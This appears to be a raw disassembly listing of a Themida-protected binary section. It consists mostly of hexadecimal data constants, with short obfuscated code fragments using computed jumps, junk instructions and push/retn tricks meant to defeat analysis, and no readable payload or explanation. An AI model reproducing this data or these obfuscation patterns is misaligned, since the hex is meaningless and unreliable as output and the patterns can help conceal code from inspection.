dd 864BC811h, 0D5E2B310h, 8763C448h, 213D6D11h, 9CFCFEA2h
dd 0C7AE7F16h, 0CFEF1FDFh, 8895A474h, 0D12C5910h, 77583561h
dd 78E84A67h, 0B424869Dh, 0BF13B6E9h, 338FA5B1h, 84Fh
dd 8ED5DD9h, 4F26961Bh, 20F565E0h, 583DAD13h, 1EF767CBh
dd 2B8F0289h, 0E245DABBh, 308CA372h, 7DFE35C0h, 6F5F680Dh
dd 9E538DD4h, 8DAF7016h, 0BF56C624h, 25871370h, 89A61699h
dd 0F69FB08Dh, 77D85F54h, 86F285CCh, 78576810h, 71A9413Eh
dd 71E1624Fh, 71A24845h, 0AA74A212h, 0C32B60ADh, 0EFCF1A5h
dd 472E9E1Dh, 6F0FE266h, 0F43D1F3Fh, 300D0979h, 86094C95h
dd 6C1E2F10h, 0F75BEAh, 8976169Bh, 896B929h, 5962FEBDh
dd 97C77709h, 62A0FCC7h, 94A51242h, 386818A2h, 448D3826h
dd 271A7552h, 0FCE27416h, 523E63E2h, 0D0BD1A75h, 3D2D0272h
dd 6CC4E35Eh, 95A97A1Ch, 0C6AF1F9Ch, 936ADA59h, 0ACE0B45Eh
dd 808FF301h, 0A8000007h, 0E837DE4Eh, 0A77C1989h, 0F03FD646h
dd 0DE552090h, 9209EC5Ch, 0D444A619h, 1D8DF241h, 0D949AB78h
dd 1484E73Ch, 0BD885681h, 169E5094h, 24A69657h, 0D95F57C7h
dd 0E959D925h, 0D14DF8C6h, 32169C20h, 80E7E01h, 61635337h
dd 93DCBFE2h, 4A6D3E16h, 18F975D0h, 9AA48B8Bh, 6BAB1B99h
dd 0D9DF892h, 37253969h, 64B1C51Eh, 650536E8h, 8A9E7936h
dd 0BFB99E10h, 4FD0EED7h, 8C9D01E9h, 9EFF81B2h, 0ABAAE227h
dd 97B8891Ch, 7ABCAE9Fh, 0AB4ABA39h, 8F87F774h, 0A40564CDh
dd 0ABAAF821h, 9DB2831Ch, 0CCC6A499h, 0F565E02Ch, 0DBE3CCC1h
dd 0B2D79468h, 3608191Ah, 0BF4A2F28h, 6E69FD9h, 7445C931h
dd 781244BBh, 2DC838BBh, 110575F6h, 97A7D7A7h, 0D96BE02Ch
dd 0E9B48504h, 0A5924DAAh, 9C37BBB9h, 8C000006h, 0FC33C232h
dd 0BB680D7Dh, 0F42BCA3Ah, 0C2710474h, 6645D040h, 98086A25h
dd 51C126FDh, 9D0D6FC4h, 58C82BF8h, 81440ABDh, 169E5158h
dd 4FDA6223h, 40CA586h, 0BBAF08F6h, 0EDF121D5h, 9FBA8E56h
dd 203E0F16h, 7E40B013h, 0C350B835h, 7502EA4Eh, 0B58A8CA3h
dd 0DF8BFB7Eh, 0BB1C9F94h, 9E8AC108h, 0B49BAC16h, 14979C82h
dd 0ED9D72A4h, 42A7F3C3h, 0C4EBE4D2h, 58D34BFAh, 81921084h
dd 0BF20B7FCh, 3EC6B0B1h, 613h, 4C299915h, 13E252D7h, 6431A11Ch
dd 1CF969CFh, 6233A307h, 0E74B4645h, 2E919E77h, 0EC48D7BEh
dd 298A997Ch, 0E3EBDCB9h, 9E513960h, 0F943C416h, 93B68D4Fh
dd 0CD1086F2h, 0C5BAFC6Ch, 0FAA04A5Bh, 7D481646h, 169F903Eh
dd 61526C3Dh, 8CA372E2h, 0F177BF2Fh, 1B411D4Dh, 6C5F8241h
dd 0D1E169Eh, 11AE3E5Dh, 1E2F1087h, 85401E40h, 1CB7C95Ch
dd 0AF5C0E1Fh, 1539DC4Ch, 0C9557C47h, 7181CB7h, 0C9458C37h
dd 17281CB7h, 0C535B673h, 679767D1h, 38A0EC57h, 74451AADh
dd 0A67A4EA9h, 8BE70DABh, 56Fh, 28CD3DB9h, 6F0676FBh, 40D545C0h
dd 781D8DF3h, 3ED747ABh, 0B6F2269h, 0C225FA9Bh, 106CC352h
dd 0DD5ED5A0h, 0F3F886Dh, 9E566DB4h, 0AD8F1016h, 5F57C724h
dd 0F481F152h, 0FCC2F2C6h, 9BFB1149h, 0E1647A16h, 1693FBB8h
dd 28987243h, 290676FBh, 0FB4786EDh, 89301693h, 2786F356h
dd 2F289DBDh, 0D8E5CB46h, 0B37D3C8h, 2Fh, 0DB0BAB1Fh, 0F5F04003h
dd 0BC8D169Bh, 0F1D2FB7Ah, 0A6041693h, 91F30036h, 2292F221h
dd 35A811F4h, 2A95FCAEh, 0BD1D9A1Fh, 0C1229Dh, 4FF60000h
dd 7D6DDD62h, 9FBF2F8Ch, 0B6C317B6h, 0FFEB0952h, 2E9E1C15h
dd 878FBE8h, 2696150Eh, 623A724Fh, 0CD2E1086h, 0D030815Dh
dd 0B1593660h, 7EEE4DE2h, 0DE0EB238h, 6CF94500h, 0AB7C169Bh
dd 0AA1A9E93h, 0FE23A26Ch, 7D169368h, 8CE783ACh, 0A90E5A1Eh
dd 2F00FD39h, 0B40F4D0Fh, 1693686Dh, 704B3F10h, 108B0728h
dd 49B93E73h, 269A704Dh, 8AE84915h, 46A47B1Ah, 816A47D6h
dd 7F75B1BFh, 45203h, 0E858D600h, 2393160Dh, 0F060DD52h
dd 3AAA0E25h, 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh
dd 12EC737h, 50831282h, 5792B78Eh, 9859169Eh, 56C624A4h
dd 0A31370BFh, 0A313969Bh, 0AB80ACC7h, 4003DB0Bh, 169BF5F0h
dd 0BCA2BC8Dh, 93F1C009h, 0F09AAB16h, 0D77F5846h, 0BF5ED6DEh
dd 0E9D8BA7Fh, 250A89BBh, 0E6375645h, 0CB291693h, 0E1465B5Bh
dd 0D02C4571h, 0EE593660h, 0DB4F943Bh, 3DC08934h, 0C39DBD2Eh
dd 0BBh, 57C724D7h, 56C62A87h, 82C77E60h, 691086F2h, 99937758h
dd 7CBA2A88h, 86F6C5F9h, 0EC78FB10h, 83421C8Ch, 1086F65Eh
dd 52230C1Dh, 0A8EE5EDDh, 0FB6BCDE6h, 7228C2BBh, 5C09ECEh
dd 169BF039h, 1C8A6B3Ch, 49B1105Ch, 0F04153AAh, 331C33BEh
dd 929F982Bh, 9C9E108Bh, 0AA40E029h, 95BA8B1Ch, 9A0A68C9h
dd 0EE1C93C4h, 94410DBBh, 2A8897F6h, 5900E3BAh, 0D1E3B1C0h
dd 34E71h
dd 0EC5CDA00h, 27971A09h, 0F464E14Eh, 3EAE1221h, 0FA6AC857h
dd 940F7C1Bh, 60CFA616h, 99866FDFh, 55CAAB1Bh, 448F66D6h
dd 5466AB1Ah, 8405169Eh, 56C624B8h, 0A31370BFh, 0C42B88D2h
dd 247EB654h, 525F57C7h, 940465F1h, 0F382ADA2h, 78E84A67h
dd 5244B43Bh, 202A8D7Dh, 0E1FD2DD1h, 0F20148FBh, 0DBEC1086h
dd 262F2D2Fh, 22633EC2h, 7A29C195h, 169B6396h, 5EDCD5D7h
dd 6ED7A8EEh, 1693502Bh, 0CA76E645h, 50143D08h, 0C6D71693h
dd 8D38C6E9h, 0B2A9CAA8h, 6C9F1C5h, 8EFE8181h, 5217F3A9h
dd 367B617Dh, 0FAA941B1h, 0BCD7216Ah, 4EDCDAEBh, 0DC2482AAh
dd 0F9A6A285h, 0CC3D08D6h, 8FA6FF52h, 3093A0BEh, 332935C0h
dd 0FE5A4990h, 876334A6h, 0E4B9298Ah, 7741EF7h, 707E06F0h
dd 0B8000002h, 0F827CE3Eh, 0B76C0979h, 2FC636h, 0AE851080h
dd 6239DC4Ch, 84F47629h, 4DBD42F1h, 89F97BA8h, 44B437ECh
dd 8D3826B1h, 169E5544h, 4FD66627h, 0F293B68Dh, 495A1086h
dd 0AB1370A1h, 843CE7EDh, 80E21B0h, 1B8BED46h, 4575496Fh
dd 44B6CA79h, 6637169Bh, 766CB8Fh, 50C4F397h, 233E1045h
dd 36AB4BDFh, 7F5046B6h, 4000BA50h, 130373F4h, 0C4577A49h
dd 5161693h, 0F839052Ah, 350A0C7Ch, 0DC44FF55h, 0A1108ECDh
dd 63500E90h, 0C4276CDCh, 7D6D6254h, 3F5EE31Eh, 78C474C1h
dd 0BE8F87F7h, 0A6F6CD91h, 0A7DE24B4h, 661AA096h, 0AC9D2836h
dd 0AFD852B2h, 0C73C09Eh, 0ECDB49A4h, 745B7542h, 1073C096h
dd 9AB52584h, 57C724FBh, 64EC7C6h, 0A22214E9h, 197h, 30C53591h
dd 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h, 23873A71h
dd 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h, 9E5A759Ch
dd 0C577F816h, 5F57C724h, 0E9F525D9h, 9C032A5Ah, 0FB9AAB16h
dd 0F09061B2h, 0FEE0FEC0h, 93E20247h, 0FFD8E916h, 0B113B92h
dd 0E5C0AA82h, 108E747Dh, 0DC05C09Eh, 9F1CAC6Bh, 0EBBCDC8Eh
dd 47C9B013h, 0CA6EC553h, 999AC49Ah, 9E6FA717h, 9FFDD1ECh
dd 0AF80D381h, 0F13D0167h, 1BF42292h, 0AE9B2A34h, 0ADDDADC9h
dd 848FFF80h, 817EB828h, 20A390AEh, 8BA41494h, 46B635EAh
dd 0A1A7B2B7h, 0AB072DECh, 0E7h, 0C055C541h, 0F79E0E73h
dd 0B85DCD28h, 95056Bh, 0B65FCF33h, 73F7AAE1h, 3ABD7203h
dd 78F42BCAh, 35B66D08h, 0B7A730C5h, 9E5BC50Ch, 55E7A816h
dd 5F57C724h, 0E9F525D9h, 9BFBAE5Ah, 348FCD16h, 1693FBEDh
dd 0EBCBBF90h, 0CB6B3BDAh, 0F6EC39Bh, 0BD920283h, 98086879h
dd 5B81D3B7h, 8961D156h, 8A86BE1Ah, 46FDBF10h, 1CAB5503h
dd 345DE8EAh, 0B71CAB55h, 0D8E6C9E6h, 551A3F06h, 0D0E11CABh
dd 84E7FC3Ah, 51B28114h, 0EEE7B5E1h, 62C680DBh, 0F083E5F2h
dd 0C0A7AFEh, 13B1C33h, 9982A8FAh, 0D05C4723h, 45201125h
dd 0D903EFDEh, 64C1276Ah, 5BD9C637h, 0E526C4EBh, 0DB7F1686h
dd 0C11F4201h, 0CDDE3764h, 1F8FEC1Dh, 36A60A17h, 29940500h
dd 0C8AD1D9Eh, 2E68D85Bh, 0AC6h, 6D2FE200h, 3F77E744h
dd 24789C4Eh, 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h
dd 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh
dd 81E68956h, 4C6h, 4EE8300h, 8B243487h, 89572424h, 4C781E7h
dd 83000000h, 3C8704EFh, 3C895C24h, 3D1B6824h, 34890000h
dd 9EB46824h, 3C8B0618h, 4C48324h, 172668h, 24248900h
dd 4240481h, 5E000000h, 4EC81h, 3C890000h, 242C8124h, 0AE54AB1h
dd 8108468Fh, 4AB10846h, 34FF0AE5h, 0C4815E24h, 4, 5F2434FFh
dd 0E904C483h, 0FFFCD3B2h, 0E7CE8469h, 11F4F7F9h
; ---------------------------------------------------------------------------
loc_5B44D8: ; CODE XREF: Themida_:005B3870j
mov eax, 618AA29h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 46h, 0E5h, 6Ch
dd 1C2E6516h, 26E7AF74h, 0FD1AFC04h, 267CA15h, 0C9DF887Ah
dd 5D11C07Ah, 8F4FEB69h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh
dd 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh
dd 1BCE17E6h, 0DB6734DFh, 9D0000A6h, 0BA9F0042h, 0DC80h
dd 1B540000h, 0FEB5h, 0FBFE33h, 0B4870000h, 202352DDh
dd 9E019ED9h, 0BAE97C80h, 89000013h, 1526D19Dh, 0B5BD8306h
dd 6152Dh, 73850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0D6573DC3h, 0B8h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 14FCC170h, 1D958B2Fh, 0C2061515h, 6A0004h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 3175AAC3h
dd 3860Fh, 8B660000h, 6AC08BC8h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 8307C353h, 1508F5BDh
dd 9750006h, 3ADBD83h, 74000615h, 8B535013h, 4D0B8C0h
dd 9D8D0000h, 617A872h, 585BD3FFh, 3ADBD83h, 74000615h
dd 0B8535011h, 4D0h, 0A7BF9D8Dh, 0D3FF0617h, 6A585Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0F5D53C3h, 0BE9C9B7h, 0D1000000h, 32374D21h, 0DD11F76Ch
dd 0E860A7DEh, 0Eh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh
dd 14E81FA1h, 0C9000000h, 3518A3Ch, 0ECB36F0Ah, 1D293DF0h
dd 859ED0FCh, 5BBF5E03h, 68A0F5Fh, 8B000000h, 1510C995h
dd 0C08B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 2EC35747h, 0A62C7B09h, 8D69039Eh, 18AB1385h, 71B58906h
dd 90061529h, 14E8h, 0A5ED5800h, 0C017FF6Dh, 2F2F05ADh
dd 5F0D68A9h, 32EBDB5h, 8B665679h, 505A5FD0h, 13E8h, 42C43400h
dd 0DE8A2365h, 7E18BB76h, 83D3C892h, 9CFB637Dh, 11E8h
db 0
byte_5B4711 db 41h, 67h, 85h ; DATA XREF: Themida_:0057A868o
dd 0BE197502h, 0D00E5D98h, 406011F0h, 61607D8Ah, 0F905F5Ah
dd 1C84h, 10E800h, 0B94D0000h, 0C9122A4h, 9F163741h, 0A231677Dh
dd 9589156Bh, 6150E39h, 0D195035Fh, 8D061528h, 18AAD085h
dd 81666006h, 8BA4ADE7h, 150DB9BDh, 51506106h, 13E8h
db 0
; ---------------------------------------------------------------------------
loc_5B4769: ; DATA XREF: Themida_:00579BB4o
sbb [ecx], esi
mov esp, 0CEB7629Dh
xor [edx+62A14A4Dh], dh
sar dword ptr [ebp-4Dh], cl
cli
mov bl, 9
pop edx
pop edi
mov [esp], eax
mov [ebp+6150591h], ecx
jmp loc_5B479E
; ---------------------------------------------------------------------------
dd 10FABE6Bh, 625AF5F2h, 4594885Eh, 21B31208h
; ---------------------------------------------------------------------------
lahf
sahf
loc_5B479E: ; CODE XREF: Themida_:005B4787j
call dword ptr [ebp+6151101h]
push 0
push esi
call sub_5B47AF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B47AF proc near ; CODE XREF: Themida_:005B47A7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5B47AF endp
; ---------------------------------------------------------------------------
mov al, 6Bh
adc dword ptr ds:84B6A87Bh, 1
test ds:8B06152Bh, edx
inc esp
and al, 4
mov cx, dx
mov [ebp+6150185h], edx
mov [ebp+618AAFBh], eax
push 0
push edi
call sub_5B47EB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B47EB proc near ; CODE XREF: Themida_:005B47E3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5B47EB endp
; ---------------------------------------------------------------------------
db 58h
dd 0FB118D7Bh, 8BF3511Ah, 0F082444h, 482h, 63B96600h, 0F858984h
dd 890618ABh, 152755BDh, 81BD8306h, 61504h, 131850Fh, 958B0000h
dd 61511F9h, 9C585C6h, 6A470615h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0FD36C351h
dd 0DCD4688Ah, 5DBD01E5h, 0F061510h, 1F8Ah, 13E800h, 0B4720000h
dd 0CB5FE38Bh, 90C1BC55h, 0AE323942h, 0F70187B9h, 71BD8B8Ch
dd 5F06151Ch, 4E8h, 9AA7D200h, 36BF66D4h, 448B50DEh, 52500424h
dd 0BE8h, 1B4F3D00h, 0D4EAA441h, 257EB556h, 5FFA8B66h
dd 8B66310Fh, 8B585AFAh, 50525000h, 0B9310F52h, 43A94611h
dd 310F585Ah, 4489585Ah, 52500424h, 3D4DBF66h, 585A310Fh
dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0E27A39BAh, 0B5FFC88Ah, 6152811h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5BC35646h, 3EB516EDh
dd 95297E4Dh, 6151799h, 8DFB8B66h, 1872BC85h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0D0FFC2E2h, 55C4F181h, 85893083h, 6150481h, 83FE8B66h
dd 150E1DBDh, 850F0006h, 112h, 85C6D3B2h, 61509C5h, 3830F47h
dd 66000000h, 4E8D38Bh, 0E2000000h, 0E98A0FB5h, 0Eh, 2E90FD54h
dd 0C1FFC738h, 0BBFC0EF1h, 0B650D37Eh, 24448B9Ch, 701ABA04h
dd 8B281Dh, 5E8h, 6EB1C800h, 0BF660327h, 895A571Fh, 50042444h
dd 0FE952h, 0B5660000h, 4770F80Eh, 413F4D39h, 0F1EB9060h
dd 0E9310FB0h, 0Dh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh
dd 58585A11h, 0E475EA81h, 0B5FF6BD2h, 6152811h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C35545h, 12D6BA54h
dd 11E8h, 0CD6A9C00h, 0FEC03223h, 0DF188258h, 85ED38A4h
dd 0C580BE50h, 858D5A0Dh, 61872BCh, 29950960h, 66061508h
dd 61D3CBBFh, 8BB5D0FFh, 0EC05B9BFh, 1D85893Ch, 6A06150Eh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 283CC350h, 0DE9h, 595D8500h, 4CC1E0AFh, 0D204B7B8h
dd 0BD83510Dh, 6150651h, 0F1850F00h, 0E8000000h, 0Eh, 9E7A0DC5h
dd 4C3C8B8Fh, 1A456A5h, 0C65A1476h, 1509C585h, 9D895606h
dd 61504E5h, 2EEA7268h, 8112B6E6h, 874B2434h, 6A3231h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0EE99DC3h, 0E4000000h, 0E9AEE235h, 781020D2h, 1E974620h
dd 0FF9AB20Ch, 152811B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0D55BEC4Ch
dd 7FF73ADDh, 25950960h, 0E906152Ah, 0Fh, 153276B7h, 0A3D8AC74h
dd 7B70FCBDh, 61CFABA5h, 72BC858Dh, 6A0618h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 8859DCC3h
dd 0F140CD09h, 8E8h, 0B7ED6200h, 0ADC39C23h, 0ADBD33D6h
dd 59061506h, 0B9CA8153h, 5A0360C0h, 8589D0FFh, 6150651h
dd 9C585C6h, 6A6C0615h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0B324C355h, 0F1817B73h
dd 4DE19A3Dh, 5E9h, 9FB2FA00h, 4E8B539h, 83000000h, 66DB0570h
dd 508076BAh, 71BF5353h, 5A39D691h, 24448B5Fh, 50008B04h
dd 0FCE8B52h, 0B8666031h, 5950C758h, 89585A61h, 0F042444h
dd 0A86h, 5E900h, 72A70000h, 5862D283h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 265A7117h
dd 7E8h, 79165900h, 0B8117847h, 10E8h, 0EA812E00h, 0CEA08E4Fh
dd 0B4F00D8Bh, 5BEBA2B1h, 5961605Ah, 85B5FF5Fh, 31061516h
dd 150C298Dh, 38858D06h, 6A06153Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A714C352h
dd 175D23C6h, 0B589604Eh, 6152B3Dh, 1371B529h, 0FF610615h
dd 65BD8BD0h, 89061506h, 18AAFF85h, 9E806h, 16BC0000h
dd 4AF3D46h, 5A815A0Ah, 0AB1BBD83h, 0F000618h, 0EF85h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0A352A0A2h, 0DD6E473Fh, 0E78166C5h, 85C6A5F6h
dd 61509C5h, 68FE8B49h, 4F67B029h, 12E9h, 18ACB400h, 0A44A8ED9h
dd 7FD81845h, 17A52FDBh, 81889126h, 79C02404h, 0DA803CADh
dd 85B5FFDAh, 6A061516h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0E489C355h, 0AF6FB615h
dd 0ABE0F926h, 46D4BF66h, 0AE98D8Bh, 858D0615h, 6153B38h
dd 48B0Fh, 0BF660000h, 0D0FF3828h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 80C35747h, 0BF329011h, 50AEEA81h
dd 85893C6Fh, 618AB1Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 28C35545h, 441502E5h, 0FDAE0E53h, 12E8046Ah
dd 0F6000000h, 88DF4CEEh, 969294DFh, 0DF1AA112h, 0A5E26236h
dd 0FBB70F2Ch, 359E6859h, 6656BD2Fh, 5A3348B9h, 62240481h
dd 6A42D0DAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 2B46C356h, 152FD9BDh, 4E806h
dd 0
dd 0B5530001h, 0B65059A0h, 24448B36h, 8BEE8A04h, 14E900h
dd 91E00000h, 0EA9C7C22h, 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h
dd 44892783h, 0BF660424h, 80586777h, 6A3DF6h, 33899589h
dd 95FF0615h, 6151519h, 85295260h, 61517F1h, 0D2816659h
dd 8961B1E5h, 18AB0B85h, 12E906h, 57780000h, 0A032C32Bh
dd 6FD42942h, 27525CDDh, 79ADAC37h, 0C7D08B66h, 18AB0385h
dd 6, 0C8E0F00h, 0F000000h, 684h, 5BD0900h, 6A06150Ah
dd 5E900h, 6A7E0000h, 6801D5E7h, 6D892A57h, 95F9BA60h
dd 50514A4Dh, 5A310F52h, 81615E58h, 2A572434h, 8D8B6D88h
dd 6152445h, 0E279B990h, 56500296h, 8D8B905Ah, 6150C5Dh
dd 8D030B6Ah, 6150719h, 0AAD8858Dh, 6A0618h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 2379AAC3h
dd 7E9h, 0FE9B3800h, 72D65A81h, 0A5BE6090h, 66799196h
dd 5061FA8Bh, 1CBE6060h, 0E809EFB1h, 0Fh, 73B021Bh, 3F83F5B5h
dd 125BE367h, 5A1BD834h, 0DE861h, 0BB520000h, 93B53D64h
dd 0E5095046h, 53EF4D69h, 90615A58h, 95FFCE8Ah, 6150481h
dd 4B97D281h, 0FE95F23h, 0D0000000h, 0A71E008Ch, 0E34E49E0h
dd 0DDCFF130h, 0B58D217Ch, 618AAE2h, 19118D29h, 66500615h
dd 896D49BAh, 0BD892434h, 6150235h, 2850Fh, 86B20000h
dd 8D0F5350h, 6, 840Fh, 895A0000h, 0FFF82404h, 150E1D95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 78D56CD8h, 0BFC2182Fh, 0EE9513Ah, 0E3000000h
dd 529F4505h, 3554C198h, 59662652h, 0BD18BA2h, 2C850FC0h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0B7CCC356h, 0FAC59408h, 0FEB70FD5h
dd 6CFE9h, 0FFFCF800h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 0ED18204Ah, 825DC465h
dd 0D08B66ABh, 0AB0BB58Bh, 0E9600618h, 14h, 554E2349h
dd 0A34FB501h, 50342A6Ah, 72DACB7h, 7B818107h, 68B0Fh
dd 958B0000h, 6152781h, 20468D61h, 0BE5BD29h, 46A0615h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7AC35545h
dd 25559589h, 0E9900615h, 10h, 6FB2AA33h, 5673206Bh, 6D142ACAh
dd 835ABC38h, 9E850h, 0DA9D0000h, 80222DA9h, 5FAC7527h
dd 0FFCA8B90h, 18AB1B95h, 81666006h, 8B5431C7h, 152A858Dh
dd 0C00B6106h, 82840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 96711BC3h, 8BD93A77h
dd 15019DBDh, 8E906h, 20890000h, 99E28E21h, 0CDE93D3Fh
dd 6A000005h, 3E85500h, 20000000h
; ---------------------------------------------------------------------------
loc_5B5100: ; DATA XREF: Themida_:0057BF84o
pop ebp
retn
; ---------------------------------------------------------------------------
pop ebp
mov [esp+4], ebp
add dword ptr [esp+4], 1Dh
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
dw 628Bh
dd 5AC534E5h, 0FECEFD12h, 0DE9h, 0E9562000h, 9CDF80AAh
dd 0D8818CFFh, 16BF34DEh, 0E97192A8h, 8, 4F9B87E3h, 5B4148A9h
dd 207E80h, 57A840Fh, 8E80000h, 0D000000h, 723A1628h, 0FCABB38h
dd 605AD7BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 5FC35242h, 71BDD6AFh, 0ADB52960h, 8D061511h, 6A2046h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0CDBBC1C3h, 99FE63EAh, 0D78166E3h, 85897EA4h, 618AB07h
dd 3CDB589h, 0CFE90615h, 0E9000000h, 8, 0BB20E33Eh, 6FCC5412h
dd 2731958Bh, 6A400615h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 607AC352h, 0C0E80D13h
dd 0F6125D94h, 4DBD3352h, 5F061515h, 24048950h, 6AD3BF0Fh
dd 50EE8A04h, 0EE9h, 7D8BDE00h, 5F9F683Bh, 55DA7197h, 89665275h
dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0A78BD8C3h, 95FFAF87h, 618AB1Bh, 1D8D8529h
dd 0D88B0615h, 856574B9h, 6A5859h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 583743C3h, 0A18D8995h
dd 0B061507h, 0B840FDBh, 0E9000000h, 43Ch, 18AD958Bh, 38800615h
dd 3B850F00h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 2CC9C356h, 38EF120Ch
dd 8C0FBB8Eh, 6, 1DDD8D8Bh, 0D18B0615h, 2BE9h, 11E800h
dd 0A7B80000h, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h, 0FAF402Bh
dd 4859CFB7h, 0A830Fh, 8B600000h, 800FD7h, 61000000h, 0AB07853Bh
dd 820F0618h, 53h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0BDC35040h, 0F90E018h, 3880D2B7h, 28840F5Ch
dd 0F000000h, 0E8Ch, 9D896000h, 61517E9h, 57D9D89h, 80610615h
dd 850F2F38h, 0FFFFFF9Bh, 67E2D281h, 81661A6Ah, 4008F5E9h
dd 0FBD83F9h, 618ABh, 17B840Fh, 0D6800000h, 4895078h, 0B5F68024h
dd 3CFBF0Fh, 18AB0F85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 47808230h, 0D8590C89h
dd 0DE986h, 0E0BF0000h, 13F5C531h, 0AB7A6870h, 50342B2Ah
dd 0A0C0BA50h, 895A7E6Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 0CE0DD1C3h, 0A3C49CEh
dd 8B601402h, 1519698Dh, 38E48006h, 60046A61h, 0ED9D8Bh
dd 95330615h, 6151539h, 0F38A9061h, 95099050h, 615072Dh
dd 0AB1B95FFh, 958B0618h, 6152E2Dh, 9E9D88Bh, 0E6000000h
dd 0DA6AB3EDh, 0A56B1210h, 57006A58h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FDB0BECh
dd 5884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 82531856h, 25BE9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0C71EA03Eh, 69D01DF5h, 5E942h, 8BBD0000h, 0F53568Ah
dd 83h, 0C600h, 291BD33h, 6A580615h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C1A2C350h
dd 628EA13Eh, 1FD8D89h, 0DE80615h, 30000000h, 0FB420A7Ch
dd 40F9C61Dh, 0F703AC6Dh, 489505Ah, 0CDB58924h, 6A061524h
dd 0CC71B91Eh, 0D78B0672h, 82F4BF50h, 4893416h, 6890F24h
dd 1000000h, 15251195h, 1B95FF06h, 0E90618ABh, 9, 1B797235h
dd 800D1BDBh, 0D2816618h, 0D88B6B85h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 87C35545h, 0B9AF283Ch, 23568056h
dd 152F818Dh, 10E95A06h, 0D8000000h, 0E0E4DE88h, 8A098FECh
dd 9C3717FCh, 58358DD7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 6EC35242h, 0AC1BD89h, 0DB0B0615h, 5D840Fh
